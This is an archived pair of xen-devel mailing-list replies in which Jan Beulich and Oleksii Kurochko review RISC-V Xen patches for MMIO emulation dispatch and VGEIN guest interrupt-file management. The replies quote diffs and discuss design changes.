Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Content-Language:References:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785427425; x=1786032225; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:content-language
         :references:cc:to:subject:from:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=ZxbyIvXCIMVtZZC6eH1IiOEAXn+2m11rf7QCUSnBRLs=;
        b=f/DGY58A2s0OLVqq3vVJJVjxBJORumi5iY/8jyEzXJAuUFNhp5QyodabA+/bcnJwHx
         cp5YJZgpyqw0KUZYQ62o6/lrX9wJkfrbfVdYqMSBiC0Y8zyZzqYsBgD0x1/CgtbPEyG7
         fMZ/USxqWodbTN75bopLNKtwChwVuhEjPyMajdYwbkQkcPa2uVKlTdx82lzDm5D5pDic
         6zzdPcXBQOFdQ9w7QtgyW79WhgrJVjXn0GKMFTqifXo91cvRicEBtxxu7wlPj+D+DcYG
         OrHOQeFiT3jSHjW6hCH4OPa3WGug191ck1//JsfI4w2/sVJGSwcEPQMGztgj0Bhtg8yb
         0XRg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785427425; x=1786032225;
        h=content-transfer-encoding:content-type:in-reply-to:content-language
         :references:cc:to:subject:from:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ZxbyIvXCIMVtZZC6eH1IiOEAXn+2m11rf7QCUSnBRLs=;
        b=d1WnKwhEymqbDlLCt+CJNxaGOq2axSVrghmbtjmyeO4oMEpEbqEds4aVCxEzN+uWJ0
         lx0SnRa1auWtx3phGRummdTXIwmRjaQwP8xlJ0qJkNk4BCcB8PNuytuCL8hFYWNwD2SO
         uY+BJpeYAFZ7dh7GgeGrwXzRW1YmMu/L/fZSafWowVu72rT+8H1DhdOAi37oeU9YDpDo
         ZrtInacU5IWMx5ZS+rgRi8WNcLqNx8nJjH41SrjYFEmK+k6DSndTCCRIzmExixQNucYz
         Qfn2lNCnPQ0D8Yw9aFJbQSfYRQkVdA4Lcfz6oJN09dFwlBIITxLV2gnAkz21DFRY3OAA
         63AA==
X-Forwarded-Encrypted: i=1; AHgh+Rr6NvVg/cmucbdHAOZuHfmRIbZKFGbuFX56QAgm1NvaN93mX7MP/p3iMkhwJnxMmtnf3FbLqwC6DW4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxHy87UJiIVsvsBNnpapLwz75n5UfRZD6G5LvUrhd9R0nUeY1J2
	8VdqPxUnfXacEu6nO8tnqz0N2+zkInRTkRTFHJ1GDqC7XHKFDxAqXNmC
X-Gm-Gg: AR+sD11nnRpAvTZdezYyCeWl//Hn7t05ThGFEuIZC1SqhaR3Qi6LBbYdHmQ1sxEq2bV
	PUs+BwpR9khzYRCGOt3uOxBxN4YRkyTSOkL4fkJz+WNUvUz1XurMDh7Dco7Trir1sT/xEZFN/Lv
	qYZWHX6vq8hvtYvsTFKPYsEHHUuqhq3tNYkD/4UiK1cblKoogGWaKCX/ONpvE3YZxeRKKIv+9gO
	Cfw9qtl9J789OTX808Pz6Xm/65i1nD50U5v6SOgjzZhUAhRD/49tNIxHjjhSRAqeGzz+XhjRXTN
	omz9JtDOpvFxa31Vc5fQ70ekJW02/xiVQiFxgo8ibHXwwws31qLcujdU7KZTmL0tabC0kkv2nxr
	z3ww23LgJx9MSrht7PXWs9V/kbUE+VLbwUTEFl6+AZIotUkvx6+L8QJQdVLHZ77oYNnU/OSZaaE
	YvhHudVBZh3yKaWqE+8LPUxmbLw5W06NugtukrUV9vd56+kpqg1Wgk/YmZl6HP8PUskeSpNlvba
	uvDken5gYBZepB1zdhxKPq9GGIQct2e/ifJTlBfVSs=
X-Received: by 2002:a05:6000:290a:b0:47f:9283:1fbe with SMTP id ffacd0b85a97d-47fc806c7bfmr5135000f8f.0.1785427424747;
        Thu, 30 Jul 2026 09:03:44 -0700 (PDT)
Message-ID: <d5867843-802d-493f-a535-1f40d9337b63@gmail.com>
Date: Thu, 30 Jul 2026 18:03:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v1 04/17] xen/riscv: introduce device-agnostic MMIO
 emulation dispatch
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <c12b69710d7b79bfc0c110f3fa043d871d8b8394.1784560663.git.oleksii.kurochko@gmail.com>
 <704870c1-18ec-4c7b-873c-e07e77ae0d39@suse.com>
Content-Language: en-US
In-Reply-To: <704870c1-18ec-4c7b-873c-e07e77ae0d39@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1785427425-4B4D7CFC-D1B76AB4/10/73395122804
X-purgate-type: spam
X-purgate-size: 11643



On 7/28/26 2:23 PM, Jan Beulich wrote:
> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>> RISC-V guests can expose several virtual interrupt controllers at
>> distinct GPA ranges: vPLIC (hasn't been introduced yet) for legacy machines,
>> vAPLIC and vIMSIC for AIA-compliant ones (is being introduced in the follow
>> up patches). Routing MMIO faults via a per-device is_access() check in the
>> trap handler would couple it to every device it must serve, requiring a
>> new conditional branch in the fault path each time a new emulated device is
>> added.
>>
>> Introduce a per-domain MMIO handler registration table, modeled
>> after the equivalent ARM framework, so that virtual devices
>> self-register their GPA ranges and read/write callbacks at domain
>> creation time. The MMIO fault path delegates to a single
>> try_handle_mmio() entry point and remains agnostic of which device
>> owns a particular address.
>>
>> Subsequent patches wire this into arch_domain_create() and the MMIO fault
>> path in traps.c.
>>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>> Reviewed-by: Baptiste Le Duc <baptiste.le-duc@vates.tech>
>> ---
>> Note that find_mmio_handler() and try_handle_mmio() is handling found
>> handler differently for now in comparison to Arm. But this behaviour will
>> be aligned at the end. Look at discussion:
>>    https://lore.kernel.org/xen-devel/cd78972e-88d5-471d-a201-5f9cd1392c73@gmail.com/T/#t
>> ---
>> ---
>>   xen/arch/riscv/Makefile             |   1 +
>>   xen/arch/riscv/domain.c             |   4 +
>>   xen/arch/riscv/include/asm/domain.h |   3 +
>>   xen/arch/riscv/include/asm/mmio.h   |  63 ++++++++++++
>>   xen/arch/riscv/mmio.c               | 145 ++++++++++++++++++++++++++++
>>   5 files changed, 216 insertions(+)
>>   create mode 100644 xen/arch/riscv/include/asm/mmio.h
>>   create mode 100644 xen/arch/riscv/mmio.c
>>
>> diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
>> index 046f73f4d87c..c452ebc3cf61 100644
>> --- a/xen/arch/riscv/Makefile
>> +++ b/xen/arch/riscv/Makefile
>> @@ -14,6 +14,7 @@ obj-y += intc.o
>>   obj-y += irq.o
>>   obj-y += kernel.init.o
>>   obj-y += mm.o
>> +obj-y += mmio.o
>>   obj-y += p2m.o
>>   obj-y += paging.o
>>   obj-y += pt.o
>> diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
>> index 4db9c28662c7..1e6f0ef66c2f 100644
>> --- a/xen/arch/riscv/domain.c
>> +++ b/xen/arch/riscv/domain.c
>> @@ -12,6 +12,7 @@
>>   #include <asm/cpufeature.h>
>>   #include <asm/csr.h>
>>   #include <asm/intc.h>
>> +#include <asm/mmio.h>
>>   #include <asm/riscv_encoding.h>
>>   #include <asm/vtimer.h>
>>   
>> @@ -308,6 +309,9 @@ int arch_domain_create(struct domain *d,
>>       if ( (rc = p2m_init(d, config)) != 0)
>>           goto fail;
>>   
>> +    if ( (rc = domain_io_init(d, MAX_IO_HANDLER)) != 0 )
>> +        goto fail;
> 
> Why does MAX_IO_HANDLER need passing into the function? Isn't that a global
> boundary?

Good question. Considering that all domains are initialized with 
MAX_IO_HANDLER I think we could drop an argument for domain_io_init() 
and just use MAX_IO_HANDLER inside it for init. of handlers array.

> 
>> --- /dev/null
>> +++ b/xen/arch/riscv/include/asm/mmio.h
>> @@ -0,0 +1,63 @@
>> +/* SPDX-License-Identifier: GPL-2.0-or-later */
>> +#ifndef RISCV_MMIO_H
>> +#define RISCV_MMIO_H
>> +
>> +#include <xen/lib.h>
>> +#include <xen/rwlock.h>
>> +
>> +#define MAX_IO_HANDLER  16
>> +
>> +typedef struct {
>> +    paddr_t gpa;
>> +    unsigned int len;  /* access width in bytes (1, 2, 4, 8) */
>> +    bool is_write;
>> +    register_t data;   /* store: value to write; load: value read (set by handler) */
>> +} mmio_info_t;
>> +
>> +enum io_state
>> +{
>> +    IO_ABORT,       /* The IO was handled and led to an abort. */
>> +    IO_HANDLED,     /* The IO was successfully handled. */
>> +    IO_UNHANDLED,   /* No handler found for the IO. */
>> +};
>> +
>> +typedef enum io_state (*mmio_read_t)(struct vcpu *v, mmio_info_t *info,
>> +                                     register_t *r);
>> +typedef enum io_state (*mmio_write_t)(struct vcpu *v, mmio_info_t *info,
>> +                                      register_t r);
> 
> Can't info be pointer-to-const in the write case?

With the current implementaion it could be done for both mmio_read_t and 
mmio_write_t as value is return through r argument.

In both cases, why is there
> both "r" passed into the function as well as the info->data field, supposedly
> (as per the comment) serving the same purpose?

Agree, we don't need both "r" and info->data as they are serving the 
same purpose.

But I don't know which one option is actually better to drop "r" 
argument or drop ->data member in mmio_info_t.


> 
> Furthermore I think it helps if ...
> 
>> +struct mmio_handler_ops {
>> +    mmio_read_t read;
>> +    mmio_write_t write;
> 
> ... pointer-ness is easily seen at use sites. I.e.
> 
> typedef enum io_state mmio_read_t(struct vcpu *v, mmio_info_t *info,
>                                    register_t *r);
> typedef enum io_state mmio_write_t(struct vcpu *v, const mmio_info_t *info,
>                                     register_t r);
> 
> struct mmio_handler_ops {
>      mmio_read_t *read;
>      mmio_write_t *write;
> };
> 

I will apply that.

>> +};
>> +
>> +struct mmio_handler {
>> +    paddr_t addr;
>> +    paddr_t size;
>> +    const struct mmio_handler_ops *ops;
>> +};
>> +
>> +struct vmmio {
>> +    unsigned int num_entries;
>> +    unsigned int max_num_entries;
>> +    rwlock_t lock;
>> +    struct mmio_handler *handlers;
> 
> There shouldn't be any writes through this pointer, should there? In which
> case it (once again) wants to be pointer-to-const.

Agree, it should be const.

> 
>> --- /dev/null
>> +++ b/xen/arch/riscv/mmio.c
>> @@ -0,0 +1,145 @@
>> +/* SPDX-License-Identifier: GPL-2.0-or-later */
>> +/*
>> + * Copyright (C) Vates
>> + */
>> +
>> +#include <xen/bsearch.h>
>> +#include <xen/lib.h>
>> +#include <xen/rwlock.h>
>> +#include <xen/sched.h>
>> +#include <xen/sort.h>
>> +#include <xen/xvmalloc.h>
>> +
>> +#include <asm/current.h>
>> +#include <asm/mmio.h>
>> +
>> +static enum io_state handle_read(const struct mmio_handler *handler,
>> +                                 struct vcpu *v,
>> +                                 mmio_info_t *info)
>> +{
>> +    register_t r = 0;
>> +    enum io_state rc;
>> +
>> +    rc = handler->ops->read(v, info, &r);
>> +    if ( rc == IO_HANDLED )
>> +        info->data = r;
> 
> Extending my earlier comment: Why could ->read() not put the value directly
> into info->data? And why ...
> 
>> +static enum io_state handle_write(const struct mmio_handler *handler,
>> +                                  struct vcpu *v,
>> +                                  mmio_info_t *info)
>> +{
>> +    return handler->ops->write(v, info, info->data);
> 
> ... can't write take the value directly from info->data?

I totally agree, it can. Do you think it is better to keep ->data and 
drop an argument 'r' or vice versa?

> 
>> +}
>> +
>> +/* Assumes mmio regions are not overlapping. */
> 
> Are you guaranteeing this anywhere?

There is no such guarantee. register_mmio_handler() simply adds the 
handler to the handlers array without performing any checks. I can add 
such a check. The only question is whether it should be enabled only in 
debug builds or in all builds.

I assume this is a rare case, and overlapping regions would indicate 
that something is wrong with the guest's memory layout configuration so 
it seems like it would be enough to add only for debug builds.

> 
>> +static int cmp_mmio_handler(const void *key, const void *elem)
>> +{
>> +    const struct mmio_handler *handler0 = key;
>> +    const struct mmio_handler *handler1 = elem;
>> +
>> +    if ( handler0->addr < handler1->addr )
>> +        return -1;
>> +
>> +    if ( handler0->addr >= (handler1->addr + handler1->size) )
>> +        return 1;
>> +
>> +    return 0;
>> +}
>> +
>> +static void swap_mmio_handler(void *a, void *b)
>> +{
>> +    struct mmio_handler *t1 = a, *t2 = b;
>> +
>> +    SWAP(*t1, *t2);
>> +}
>> +
>> +/*
>> + * Return a copy of the matching handler rather than a pointer into
>> + * vmmio->handlers: a concurrent register_mmio_handler() re-sorts the
>> + * array, so an escaped pointer could refer to a different (or torn)
>> + * entry once the lock is dropped.  The copy stays valid as the ops
>> + * structures are never freed.
>> + */
>> +static bool find_mmio_handler(struct domain *d, paddr_t gpa,
>> +                              struct mmio_handler *out)
>> +{
>> +    struct vmmio *vmmio = &d->arch.vmmio;
>> +    struct mmio_handler key = { .addr = gpa };
>> +    const struct mmio_handler *handler;
>> +
>> +    read_lock(&vmmio->lock);
>> +    handler = bsearch(&key, vmmio->handlers, vmmio->num_entries,
>> +                      sizeof(*handler), cmp_mmio_handler);
> 
> So beyond the assumption stated further up you also assume the array to
> be sorted. Which you ...
> 
>> +void register_mmio_handler(struct domain *d,
>> +                           const struct mmio_handler_ops *ops,
>> +                           paddr_t addr, paddr_t size)
>> +{
>> +    struct vmmio *vmmio = &d->arch.vmmio;
>> +    struct mmio_handler *handler;
>> +
>> +    write_lock(&vmmio->lock);
>> +
>> +    BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);
> 
> (Do we really need to crash in such a case? Can't we just fail domain
> creation?)

Generally, no. However, the approach used by Arm's dom0less solution is 
to crash as soon as any issue occurs instead of trying to continue 
running other domains, so I follow the same approach for RISC-V.

Even if I return an error here, the common dom0less code will panic anyway.

> 
>> +    handler = &vmmio->handlers[vmmio->num_entries];
>> +    handler->ops = ops;
>> +    handler->addr = addr;
>> +    handler->size = size;
>> +    vmmio->num_entries++;
>> +
>> +    /* Sort mmio handlers in ascending order based on base address */
>> +    sort(vmmio->handlers, vmmio->num_entries, sizeof(struct mmio_handler),
>> +         cmp_mmio_handler, swap_mmio_handler);
> 
> ... arrange for here, yet in a pretty inefficient way: Inserting in an
> already sorted list can be had without recurring calls to sort().

Good point. I will rework that.
> 
>> +int domain_io_init(struct domain *d, unsigned int max_count)
>> +{
>> +    rwlock_init(&d->arch.vmmio.lock);
>> +    d->arch.vmmio.num_entries = 0;
>> +    d->arch.vmmio.max_num_entries = max_count;
>> +    d->arch.vmmio.handlers = xvzalloc_array(struct mmio_handler, max_count);
> 
> If already an allocation is needed in all cases, why not allocate struct
> vmmio, defined like this:
> 
> struct vmmio {
>      unsigned int num_entries;
>      unsigned int max_num_entries;
>      rwlock_t lock;
>      struct mmio_handler handlers[];
> };
> 
> and then using xvzalloc_flex_struct(). Or yet simpler if (as mentioned
> elsewhere) max_count doesn't need passing into here:
> 
> struct vmmio {
>      unsigned int num_entries;
>      unsigned int max_num_entries;
>      rwlock_t lock;
>      struct mmio_handler handlers[MAX_IO_HANDLER];
> };
> 
Agree, both option are good to me. Considering that we are going to use 
MAX_IO_HANDLER then second option is really better for now.

Thanks!

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 16:04:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 16:04:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378110.1623724 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTEm-0004WF-1m; Thu, 30 Jul 2026 16:04:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378110.1623724; Thu, 30 Jul 2026 16:03:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTEl-0004W8-UY; Thu, 30 Jul 2026 16:03:59 +0000
Received: by outflank-mailman (input) for mailman id 1378110;
 Thu, 30 Jul 2026 16:03:58 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpTEk-0004Vg-Pb
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:03:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpTEj-009aGw-Tt
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:03:57 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b75d0-e002-0a2a0a5209dd-0a2a450c85a8-40
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:03:57 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b75ed-f479-0a2a450c0019-d1558033e418-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:03:57 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-4953de5be0aso16413625e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:03:57 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-498012168e7sm76086735e9.15.2026.07.30.09.03.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 09:03:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785427437; x=1786032237; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=AgbIwe2JSCB50DaLxUfTpH7j/QL+wV5t6V5Z+y2iRZ4=;
        b=PEOnZ9l7amuYCoZP1C/rNft6evZjeL+7G2WLOUfTCGl6s0LuWuqxRRiQbw1+CS8jav
         JAHBp3i0IT8IXSLOw3XAUwElj9fJJSM2yONYRcx5itFQyu4CzPQWz7sxAuKy6Pky6TX+
         sD6wCpyNWsEb8pkoufbUpH9JCkN7IjTpTmMZXEdQnkzx3oU1mh6WUhBS5kUCXiNSpREp
         KF0qIMKfJJoxbsy922Wz0gFlpf/erjs6jfIQBjWjIee/2XmebuUuBddTGG0TdctUQZkX
         op2zlEzevin3K2RLxoe+9bzB2fpTtrok8nHbTvcnC9Gj7iGMVVUqFGiNfzACxA/70s+0
         FSnA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785427437; x=1786032237;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=AgbIwe2JSCB50DaLxUfTpH7j/QL+wV5t6V5Z+y2iRZ4=;
        b=gp+megypKp1ZvYhhpK/6P2RAdawgZD+imJYLxUO0T12E4kwCHZiYCPa9iBwCqJLV/L
         jI5z03AZz8u9lojmcyGotPt3pN2V5MGSg9N9wooAshwGlpONDVcRiEgI48mp1skswShg
         FfQ+W9jQW5Q/1tWWWdXfLrbTzCBaE6T2/4c43rzWZxSDs5xdsKcH067siLRAYAy5W7I8
         5xwuCAmtzS++KIVaCuJMJbTpfAwXWUyBMcdV9OZi9CnUZhzWoBz/RpsCT38YGCw/r6MD
         b7a2wn8kj5rQMyNnfMzKYG1xr1YHEgTnIWrgOqZwGFGmXgJtmq4J/eWBPNM8nBUlnXAo
         nMog==
X-Forwarded-Encrypted: i=1; AHgh+RpERcO+81LrnTdo2frqc80/42Q/8ilYhL1zEqU1N1K1d525tuW99lEiAMYxrfcci3+VVRhjjV7yhSg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YylnjaIFSxlIbI4kLi3xSZIRR5CnAfWoxbCbfSW8lEKNWJwOjYN
	AOLUyqM+lRNz98oiVYF5s3nfSk8iOQg2Sq4t5WKbUPDW2eotb4WVPovw046nd4rdDA==
X-Gm-Gg: AR+sD127H6aqhpSCwqYVJH/V8RJ4UFU6lw5wdqPtRolodijuf7WTcgIoco3q0mYyiYK
	plRMsqy485rpR6t5MUgEbsJbPd3BGtdT/sNxJPjs9QcMg3LEXWV8R7i2qMIsQfe4sY+zadgDqZm
	d5N0q2nWufsgGkWcBFpxzLhHawF+vXcF2GEax8I0dcm13jfiHUS0C6M18w49pUMCV/j0AnDMass
	AveJ9ERJuiH8nUZZwKDsxMogUFoJ3YFWtUncVFw3WB7yf7j0OnDqeW+ZEmaPbj1Np/EuZRx06Xs
	xj9OiGojCpn9N4oIVZkn8iD1NOAQj3iZ/y8KSNWZZu+LMQucncOoB+KlBYc0OA6MKOPu2x7j8QW
	T8jt60gv9LJnS2yi0AAVblx8G8uPHCKBtMvTkUfF/oKg0r6fCoZ68L/uEXbniU0tygEJqVffFxy
	8r26B6zNVnuF/Mc1Sgeb1XG94v5qdsfK/qwZjjwmmnzJwinUMSe/vwjPS/2HZ8U2FLwjpyRwpXh
	PLzQB3y0GAX/zTGaqNsizBeEZy1CLf8ljkm7+Kk6dnz4WPk8j+O
X-Received: by 2002:a05:600c:6610:b0:495:4811:7998 with SMTP id 5b1f17b1804b1-49800e81002mr46211925e9.17.1785427437116;
        Thu, 30 Jul 2026 09:03:57 -0700 (PDT)
Message-ID: <79ea95df-29bf-4c9e-8097-2c2b991f27bf@suse.com>
Date: Thu, 30 Jul 2026 18:03:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 02/17] xen/riscv: add basic VGEIN management for AIA
 guests
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <b141b8d976719bb9b76147cacfd5842fb7aac74e.1784560663.git.oleksii.kurochko@gmail.com>
 <6501f040-ea59-4e78-8854-030f786dbcf7@suse.com>
 <191a9ddc-9f37-4d26-9141-7dfaf88cb26c@gmail.com>
 <489a1b05-4ae5-44ac-a73b-485669190b59@suse.com>
 <aca9e72d-ff6d-49e0-b128-6675c5521493@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5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BDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <aca9e72d-ff6d-49e0-b128-6675c5521493@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785427437-5270FA5B-F2647B0F/0/0
X-purgate-type: clean
X-purgate-size: 9529

On 30.07.2026 17:46, Oleksii Kurochko wrote:
> On 7/30/26 9:42 AM, Jan Beulich wrote:
>> On 29.07.2026 16:55, Oleksii Kurochko wrote:
>>> On 7/27/26 5:41 PM, Jan Beulich wrote:
>>>> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>>>>> It was decided to add support for IMSIC from the start instead of having APLIC
>>>>> operate in direct delivery mode, as it requires a trap-and-emulation approach,
>>>>> which is not optimal from a performance standpoint.
>>>>>
>>>>> AIA provides a hardware-accelerated mechanism for delivering external
>>>>> interrupts to domains via "guest interrupt files" located in IMSIC.
>>>>> A single physical hart can implement multiple such files (up to GEILEN),
>>>>> allowing several virtual harts to receive interrupts directly from hardware.
>>>>>
>>>>> Introduce per-CPU tracking of guest interrupt file identifiers (VGEIN)
>>>>> for systems implementing AIA specification. Each CPU maintains
>>>>> a bitmap describing which guest interrupt files are currently in use.
>>>>>
>>>>> Add helpers to initialize the bitmap based on the number of available
>>>>> guest interrupt files (GEILEN), assign a VGEIN to a vCPU, and release it
>>>>> when no longer needed. When assigning a VGEIN, the corresponding value
>>>>> is written to the VGEIN field of the guest hstatus register so that
>>>>> VS-level external interrupts are delivered from the selected interrupt
>>>>> file.
>>>>
>>>> And when exactly is this "assignment" intended to occur? vgein_assign() and
>>>> vgein_release() have no callers here, so this remains entirely unclear.
>>>
>>> [A] Agreed, I should have added that information to the commit message:
>>>
>>> VGEIN is assigned (via vgein_assign()) before jumping to the new vCPU
>>> execution context (in continue_new_vcpu()) and is re-assigned during
>>> vCPU migration from one pCPU to another.
>>>
>>> VGEIN is released (via vgein_release()) on the old pCPU during migration.
>>
>> That is, state of that vCPU is held in hardware for perhaps an extended
>> period of time after the vCPU was last de-scheduled. That's a fair
>> optimization (we do something similar on x86, albeit that has been
>> increasingly under question lately). However, doesn't this then require
>> sync_local_execstate() to become non-empty?
> 
> IIUC, sync_local_execstate() is needed for the lazy context switch case 
> when switching from vCPUA to the idle vCPU.

Or when full state is to be obtained for a vCPU, for example.

> The idea is that if, after 
> running the idle vCPU, the next scheduled vCPU is again vCPUA, then 
> nothing needs to be done because no real context switch has occurred yet.
> 
> IMO, this is not the case for VGEIN. It is perfectly fine for a vCPU to 
> keep its previously assigned VGEIN even if the next scheduled vCPU is 
> different. In fact, it is necessary to preserve VGEIN because it will be 
> needed later, for example, to wake up the vCPU if an interrupt for that 
> vCPU occurs.
> 
> The idea is that if a vCPU uses a hardware interrupt file, then when the 
> vCPU is descheduled, the corresponding CSR_HGEIE bit, where the bit 
> number corresponds to the VGEIN value, is set. If an IRQ_S_GEXT trap 
> then occurs, the hgei_interrupt() handler can determine which vCPU 
> should be woken up:
> 
> void hgei_interrupt(void)
> {
>      unsigned long hgei_mask, flags;
>      struct vgein_ctrl *vgein_ = &this_cpu(vgein);
> 
>      hgei_mask = csr_read(CSR_HGEIP) & csr_read(CSR_HGEIE);
>      csr_clear(CSR_HGEIE, hgei_mask);
> 
>      spin_lock_irqsave(&vgein_->lock, flags);
> 
>      for_each_set_bit ( vs_guest_file_id, hgei_mask )
>      {
>         ...
>         /* do some logic to call vcpu_kick */
>         ...
>      }
> 
>      spin_unlock_irqrestore(&vgein_->lock, flags);
> }

Ah, that's pretty helpful extra information.

>> Furthermore, rather than having vgein_assign() fail when
>> find_next_zero_bit() fails to find an available ID, shouldn't you release
>> some other vCPU's ID, making it available for re-use?
> 
